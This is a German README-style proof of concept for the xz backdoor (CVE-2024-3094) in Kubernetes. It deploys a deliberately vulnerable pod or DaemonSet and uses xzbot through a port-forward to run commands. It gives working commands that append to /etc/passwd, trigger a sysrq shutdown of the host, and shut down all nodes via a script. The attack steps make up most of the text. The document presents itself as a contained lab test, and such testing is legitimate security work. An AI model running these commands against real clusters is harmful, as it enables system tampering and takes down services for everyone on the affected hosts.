
Einfacher POC zum Testen der CVE-2024-3094-Schwachstelle in einem K8s-Cluster
Einfacher POC zum Testen der CVE-2024-3094-Sicherheitslücke in einem K8s-Cluster
Wir werden einen verwundbaren Pod bereitstellen und ausnutzen, um Befehle in diesem verwundbaren Pod auszuführen; wir arbeiten aus Sicherheitsgründen im selben Netzwerk. Wir setzen den verwundbaren Pod nicht dem Internet aus, aber das Konzept ist dasselbe.
Diese Sicherheitslücke ermöglicht es, Befehle im Pod auszuführen, selbst wenn der Pod mit einem Sicherheitskontext ausgeführt wird; Sie können zum Beispiel den Host herunterfahren, auf dem der Pod läuft.
Wenn diese Sicherheitslücke in einem einzelnen Pod ausgenutzt wird, können Sie den Host herunterfahren und damit alle Dienste auf diesem Host vorübergehend unverfügbar machen. Wenn die Sicherheitslücke jedoch als DaemonSet ausgeführt wird, können Sie alle Hosts herunterfahren, die dieses DaemonSet ausführen, und sogar das gesamte Cluster lahmlegen.
Installieren Sie zunächst xzbot im Cluster:
go install github.com/amlweems/xzbot@latest
Laden Sie das Repository herunter und stellen Sie das verwundbare Deployment/DaemonSet bereit:
git clone https://github.com/shefirot/CVE-2024-3094.git
cd CVE-2024-3094
# Deployment
kubectl apply -f deploy_cve-2024-3094.yml
# Oder DaemonSet
kubectl apply -f daemonset_cve-2024-3094.yml
# Pod-Namen abrufen
kubectl -n vulnes get pods
# Portweiterleitung für den Pod einrichten
kubectl -n vulnes port-forward <pod-name> 2225:22
# Befehl ausführen, z. B. in /etc/passwd schreiben
$HOME/go/bin/xzbot -addr 127.0.0.1:2225 -cmd 'echo "David estuvo aqui" >> /etc/passwd'
# Datei /etc/passwd prüfen
kubectl -n vulnes exec <pod-name> -- /usr/bin/cat /etc/passwd
Gehen Sie weiter und fahren Sie den Host herunter:
# Sysrq aktivieren
$HOME/go/bin/xzbot -addr 127.0.0.1:2225 -cmd 'echo 1 > /proc/sys/kernel/sysrq'
# Host herunterfahren
$HOME/go/bin/xzbot -addr 127.0.0.1:2225 -cmd 'echo o > /proc/sysrq-trigger'
Sie können auch alle Hosts herunterfahren, die das DaemonSet ausführen:
source shutdown_nodes.sh
Wenn Sie die Schleife zum Herunterfahren aller Hosts ausführen und diese Fehlermeldung erhalten:
2024/06/11 12:08:58 dial tcp 127.0.0.1:2225: connect: connection refused
Warten Sie länger, bis die Portweiterleitung bereit ist. Sie können die Schlafzeit in der Schleife erhöhen.
Das verwendete Container-Image wurde mit dem Dockerfile im Repository erstellt. Sie können das Image erstellen und in Ihre Registry pushen.
Um die Bibliothek liblzma.so.5.6.0.patch zu generieren, können Sie das amlweems-Repository aus den Referenzen verwenden.